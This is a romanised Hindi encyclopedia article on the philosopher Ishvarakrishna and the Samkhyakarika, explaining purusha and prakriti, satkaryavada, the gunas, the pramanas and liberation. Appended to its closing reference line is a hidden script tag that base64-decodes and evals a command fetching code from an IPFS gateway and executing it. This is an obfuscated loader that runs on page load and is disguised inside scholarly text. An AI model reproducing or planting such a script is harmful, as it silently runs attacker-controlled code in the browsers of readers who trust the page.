ईश्वरकृष्ण

eeshvarkrishna ko saankhy ka pradhan darshanik kaha jata hai. saankhy darshan ki parampara atyadhik prachin hai, isilie eeshvarkrishna ko saankhy ka adi pravartak nahian kaha ja sakata. unake pahale kapil, asuri, panchashikh adi ke nam ate haian. phir bhi eeshvarkrishna ko saankhy ka pradhan darshanik kah sakate haian. unaki pustak 'saankhyakarika' ko saankhy ka pramanik aur prachin granth (chauthi shatabdi) mana jata hai. is par matharavritti, gau dapad bhashy, yuktidipika adi anek tikayean haian.

saankhyakarika ke tatv

saankhyakarika mean do maulik tatv svikar kiye ge haian- 'purush' tatha 'prakriti'. sambhavat: yah isalie kiya gaya hai ki upanishadoan mean purush ya atma ko aparivartanashil kaha gaya hai. at: jagath ki srishti ke lie parivartanashil tatv prakriti ko manana avashyak pratit hua. advait vedant mean isi prakriti ko trigunatmika maya kaha gaya hai. isi se saankhy ke mat mean jagath saty aur vedant mat mean jagath mithya mana gaya. saankhy ka vedaant se doosara matabhed purush ki anekata ke vishay mean hai.

saankhyakarika ke prarambh mean hi yah kaha gaya hai ki adhyatmik, adhidaivik tatha adhibhautik tinoan prakar ke du:khoan se atyantik aur poorn mukti prapt karane ke lie tatvajnan hi ekamatr upay hai. shastriy any laukik upayoan se du:kh se poorn aur sthayi mukti nahian mil sakati. unamean hiansa adi ka bhi dosh hai. du:kh ajnan se hota hai, at: usaki atyantik nivritti jnan se hi ho sakati hai. us jnan ka arth hai- purush prakriti ka jnan ya purush-prakriti ke bhed ka jnan (vivekakhyati).

purush vishay

purush ke vishay mean tin mukhy prashn uthate haian, purush ka astitv, usaka svaroop aur prakriti ke sath usaka sambandh. purush ke astitv-vishayak tark satrahavian karika mean is prakar diye ge haian-

1. pratham jagath mean dekha jata hai ki jo kuchh sanghat ke roop mean hai, vah kisi any ke prayojan ke lie hota hai, jaise bistara, kursi adi. jaise ye sab vastuean apane liye nahian balki doosare ke prayojan ke lie hoti hai, vaise hi prakriti ke sanghat apane liye nahian balki kisi any (purush) ke lie hote haian. at: prakriti ke atirikt purush hai. aisa manane se ki ek sanghat doosare sanghat ke lie hota hai, anavastha dosh utpann ho jaega.
2. doosara tark yah hai ki trigunatmak prakriti aur usake vikar jisake lie haian, vah (purush) svayan trigunatmak n hokar usase bhinn hoga. vah avikari hoga.
3. tisara tark yah hai ki jis prakar rath ko haankane ke lie rathi ki avashyakata hoti hai, usi prakar j d prakriti ke nirdeshan ke lie purush ki avashyakata hai.
4. chautha tark yah hai ki sukh-du:khadi bhog kisi j d tatv ke lie nahian ho sakate. usake lie chaitany tatv ki avashyakata hai.
5. paanchavaan tark yah hai ki mukti ki ichchha purush ki ho sakati hai, kyoanki trividh du:khoan ka anubhav chetan purush ko hi hota hai, j d prakriti ko nahian. at: purush hai.

chaitany roop purush ke svaroop ke vishay mean 19vian karika hoti hai ki purush sakshi hai, arthath isamean kartritv nahian hai. purush mean kaivaly arthath du:kh se mukti hai. purush madhyasth hai, sukh-du:kh se aprabhavit hai. purush drashta hai aur kartritv shoony hai. arthath purush anek hai. spasht hai ki ye tark jivoan ke vishay mean sangat hai, shuddh chaitany ke vishay mean inako lagoo nahian kiya ja sakata. isi se advait anek jiv manata hai, parantu atma nahian manata. 20vian karika mean prakriti purush ke sanyog ki bat kahi gee hai. j d chetan mean sanyog kaise hota hai ya ho sakata hai, yah spasht nahian kiya gaya hai. keval yahi kaha gaya hai ki purush ke sanyog se j d prakriti chetan ke saman jan p dati hai aur udasin purush mean kartritv ka abhas hota hai. purush prakriti ka sanyog lang de aur aandhe manushy ke sanyog ke saman hai. prakriti j d hone ke karan aandhi hai aur purush nishkriy hone ke karan lang da hai. is sanyog se hi srishti prarambh hoti hai. srishti ke do uddeshy haian- ek to purush ko karmoan ka phalabhog pradan karata hai aur doosare purush ko moksh dena.

satkaryavad siddhaant

prakriti trigunatmika hai aur sookshm hai. vah pratyaksh praman se gamy nahian hai. at: usake astitv ki siddhi anuman se ki jati hai. satkaryavad ke siddhaant ke anusar kary ke adhar par karan ki siddhi ki jati hai. is siddhaant ke anusar kary karan mean sthit rahata hai aur un donoan ki samanata hoti hai. is siddhaant ko isake virodhi siddhaant asatkaryavad ka khandan karake siddh kiya jata hai. khandan ke lie diye ge tark is prakar haian-

1. kary ka astitv avashy hi pahale se hi rahana chahie, kyoanki jo asath hai usaki utpatti kisi bhi prakar nahian ki ja sakati hai.
2. kisi bhi kary ke utpadan ke lie upayukt samagri ki avashyakata hoti hai, jaise tel ke utpadan ke lie til ki, dahi ke utpadan ke lie doodh ki. baloo se tel pani se dahi nahian banaya ja sakata. isaka arth yah hai ki karan mean kary pahale se vartaman rahata hai.
3. yadi kary-karan mean bhed mana jaye to duniya ki kisi bhi vastu se kisi bhi any vastu ki utpatti sambhav honi chahie. parantu aisa sambhav nahian hai. kisi bhi vastu se koee bhi vastu utpann nahian ho sakati. at: karan aur kary mean abhed manana avashyak hai.
4. samarthyavan karan se hi kary ki utpatti dekhi jati hai. chane ke bij se hi chana aur jau ke bij se hi jau utpann hota hai. arthath karan mean karyotpatti ki kshamata ya yogyata pahale se hi hoti hai.
5. karan aur kary mean samanata dekhi jati hai. jaisa soot vaisa kap da hota hai. dahi aur doodh mean anek samanataean paee jati haian. at: karan mean kary vartaman rahata hai.

gun

is siddhaant ke adhar par ham yah kah sakate haian ki jagath ki vastuoan mean tin gun satv, rajash aur tamash paye jate haian. at: avashy hi ve unake karan prakriti mean bhi hoange. jo karan mean nahian hai, vah kary mean kaise ja sakata hai? anavastha dosh se bachane ke lie aantim karan ke roop mean prakriti ko man liya jata hai. 15vian karika mean yah kaha gaya hai ki karan roop prakriti hai, kyoanki jagath ki vastuean simit haian, trigunatmak roop se saman hai, shaktiman karan hi kary ko utpann karata hai tatha karan se kary ki utpatti tatha pun: usaka karan mean vilay dekha jata hai. at: asimit svatantr, sarvavyapak, shaktiman prakriti ko mool karan ke roop mean manana avashyak hai.

prakriti aur lakshan

prakriti ko avyakt bhi kaha jata hai. usake parinamoan ko vyakt kahate haian. vyakt kary, anity, avyapi, sakriy, anek ashrit, savayav paratantr tatha dyotak (liang) hai. thik isake viparit avyakt karanarahit, nity, vyapak, nishkriy, ek, anashrit, liangahin, avayavahin tatha svatantr hai. vyakt aur avyakt mean samanataean bhi haian. donoan trigun roop, aviveki, vishay, samany, achetan tatha prasavadharmi haian. purush in donoan se bhinn hai. tinoan gun vyakt aur avyakt mean saman roop se rahate haian. unake lakshan is prakar haian- satvagun-sukharoop, prakashak, laghuroop, guru aur avaran karane vala. ye tinoan padarth ya purush ke lie haian. in gunoan mean parthaky nahian, sahayog hai, jaise dipak mean tel, batti adi ka sahayog hota hai. ek hi prakriti se tin prakar ke phal- sukh, du:kh aur moh- vaise hi nikalate haian, jaise ek sundar gunavati stri pati ke lie sukhad (sapatniyoan) apani sautoan ke lie du:khad tatha parapurush ke lie mohotpadak hoti hai. ye tinoan gun ek doosare ka abhibhav, sahakaritv, utpadan tatha sahachar karane vale haian.

purush sanyog se prakriti ki samyavastha, jisamean parinam-lakshan kriya hoti rahati hai, bhang hoti hai. usase sarvapratham mahath (buddhi) se aanhakar aur aanhakar se satv ki pradhanata ke karan paanch jnanendriyaan, paanch karmendriyaan tatha man (jo donoan haian) ki utpatti hoti hai aur tamash ki pradhanata se panch tanmatraoan (akash, vayu, agni, jal, prithvi) ya sookshmatatvoan ki utpatti hoti hai. buddhi, aanhakar aur tanmatraean, ye sat prakriti aur vikriti donoan (utpann aur utpadak donoan) haian. mool prakriti keval utpadak hai. panch tanmatraoan se utpann panch mahabhoot tatha gyarah indriyaan, ye solah keval vikriti (utpann) haian. purush in sabase bhinn hai.

buddhi ke prakar

buddhi do prakar ki hoti hai- 'satv-pradhan' evan 'tamash-pradhan'. satv-pradhan buddhi mean adhyavasay jnan, viram evan aishvary paye jate haian. tamash-pradhan buddhi mean isake viparit gun paye jate haian. aanhakar ka arth abhiman hai. man bhi indriy hai, kyoanki isaka sambandh donoan prakar ki indriyoan se hota hai. yah sankalp vikalp karane vala hai. jis prakar vibhinn gunoan ke nyoonadhiky se vibhinn vastuean utpann hoti haian, vaise hi gunoan se vibhinn indriyaan bhi utpann hoti haian. buddhi, aanhakar aur man tinoan ka aant:karan kahate haian. any indriyoan ko bahyakaran kahate haian. aant:karan ke karan panch pran, pran, apan, saman, udan tatha vyan, kam karate haian. pratyaksh vishay ke prasang mean (tinoan) aant:karan aur ek indriy kabhi kramash: aur kabhi ek sath kam karate haian. kintu paroksh vishay ke prasang mean keval aant:karan kramash: aur ek sath kam karate haian. inake karyoan mean ek samanvay ya ekata hoti hai, kyoanki inaki vrittiyaan purush ke lie hoti haian, any kisi ki prerana se ve prerit nahian hote. terah karanoan ke kary-ahary, dhary aur prakashy hai.

tin praman

eeshvarkrishna ko tin praman many haian-

1. pratyaksh
2. anuman
3. shabd

anyatr svikrit any pramanoan ka samavesh ve in tinoan ke aantargat kar lete haian. indriyoan ke sanyog par ashrit buddhi ka adhyavasay pratyaksh hai. abhav ka jnan bhi pratyaksh hi hai. upaman aur arthapatti ek prakar ke anuman haian. atindriy vishayoan ka jnan anuman se hota hai aur usase bhi jo prapt n ho vah shabd praman se jana jata hai. pratyaksh mean koee karanoan se badha hoti hai, jaise yadi vastu atyant door ho, atyant samip ho, indriyaan asvasth hoan, man chanchal ho, vastu sookshm ho, avritt ho avibhav ho ya vastu sadrishyavastu mean mil jaye, to pratyaksh nahian ho pata. buddhi ya aant:karan bahar jakar vishayoan ka akar grahan karata hai. jab alochan matr hota hai, tab use nirvikalp pratyaksh kahate haian aur jab usamean man dvara vishishtata ati hai, tab use savikalp kahate haian. saankhy mean pramany aur apramany donoan svat: hote haian. bhram tab hota hai, jab ham kisi vastu ke aansh ko dekhakar poorn ki kalpana kar lete haian athava do vastuoan ke bhed ko nahian manate. ye siddhaant saankhy ke satkaryavad ke karan mane ge haian.

anuman ke bhed

anuman vyapy jnan par ashrit jnan hai. isake tin bhed haian- poorvavath, sheshavath tatha samanyatodrisht. poorvavath vah anuman hai, jisamean poorvadrisht liang aur liangoan ke sahachary ke adhar par anuman kiya jata hai, jaise poorvadrisht dhoom agni ke sahachary jnan ke adhar par dhoom dekhakar agni ka anuman karana. sheshavath anuman vah hai, jahaan sahabhav evan sah-astitv ke adhar par anuman kiya jata hai. kap da aur soot abhinn hai, kyoanki kap de mean soot paya jata hai. jahaan bhinnatv hai, vahaan yah sambandh nahian paya jata. is prakar vah anuman samavay sambandh ki bhav aur abhav par avalanbit hai. samanyatodrisht anuman ek kriya hai. usake lie karan ki avashyakata hai, kyoanki har ek kriya ka ek karan hota hai. isase indriy aur indriy-vyapar siddh hota hai.

saankhy mean shabd praman

saankhy mean shabd praman ke aantargat keval shrutivachan hi nahian ata balki kapil adi apt purushoan ke vachan bhi ate haian, jo pramanik haian, kyoanki unaka jnan shrutijnan par avalanbit hai. pratyaksh aur anuman se jin vakyoan ka jnan nahian hota ye shabd praman se jane jate haian, jaise punarjanm adi.

saankhy mean purush prakriti ka avivek ya unake bhed ka ajnan hi bandhan ka karan hai. isi ajnan ke karan ham apane ko sharir, indriy adi samajh lete haian, apane ko maranashil samajhate haian aur punarjanm hota hai. jab prakriti aur purush ke bhed ka jnan (vivek) dridh ho jata hai, tab prakriti bandhan nahian kar pati. jnan hone par prakriti ka nagn roop ya vastavik roop dikhaee p d jata hai. usaka mohak roop jisase bhog hota hai, door ho jata hai. vivek jnan satvik buddhi mean hota hai. isi se prakriti ko bandhan aur moksh donoan ka karan kaha gaya hai. bandhan prakriti se nahian balki usake mohak roop se hota hai. isi se sharir rahate hue bhi mukti (jivanamukti) ho sakati hai. prarabdh karm ke karan sharir ki kriya chalati hai, parantu mohakatv nahian rahata. sharir chhootane par videh mukti ki prapti hoti hai. yadi jnan ke pahale sharir chhoot jata hai, to sookshm sharir ke madhyam se jiv any lokoan mean jata hai aur karmaphal bhog ke lie phir sharir dharan karata hai, parantu jnan ho jane par phir sharir dharan nahian hota hai. mukti ki avastha mean sukh ya anand ka anubhav nahian hota hai.  

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

vishv ke pramukh darshanik (hindi) |lekhak: pro. ramakaant tripathi |prakashak: vaijnanik tatha takaniki shabdavali ayog, nee dilli, 684 |prishth sankhya: 63 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>